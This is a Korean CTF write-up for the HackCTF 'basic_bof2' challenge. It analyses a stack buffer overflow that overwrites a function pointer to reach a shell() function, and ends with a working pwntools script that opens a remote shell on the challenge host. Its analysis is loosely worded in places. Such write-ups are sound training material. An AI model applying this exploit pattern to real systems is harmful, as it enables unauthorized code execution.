System/PWNABLE
[HackCTF] basic_bof2
ElAsJay
2021. 2. 1. 00:44
728x90
checksec
- 32bit
- Partial RELRO
Analyze
pseudo code
- 스택 버퍼에 문자열 s에 fgets 함수를 이용해 133byte만큼 표준입력을 통해 입력받도록 한다. 하지만 이 때는 133<0x8C(140)으로 버퍼오버플로우가 발생하지는 않는다.
- 대신, 그 이전에 sup함수에서 puts함수를 통해 s에 입력받도록 되어있고, 여기서 스택 버퍼 오버플로우가 발생한다. sup함수는 v5로 리턴된다.
- shell() 함수에서 쉘을 획득할 수 있도록 system("/bin/dash")를 리턴하고 있다.
- sup함수에서의 버퍼오버플로우를 이용하여 v5의 값을 shell()함수의 주소로 바꿔 쉘을 획득하도록 한다.
실행
Exploit
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3001)
pl = "A"*(0x8c - 0xc)
pl += p32(0x0804849b)
p.sendline(pl)
p.interactive()
SMALL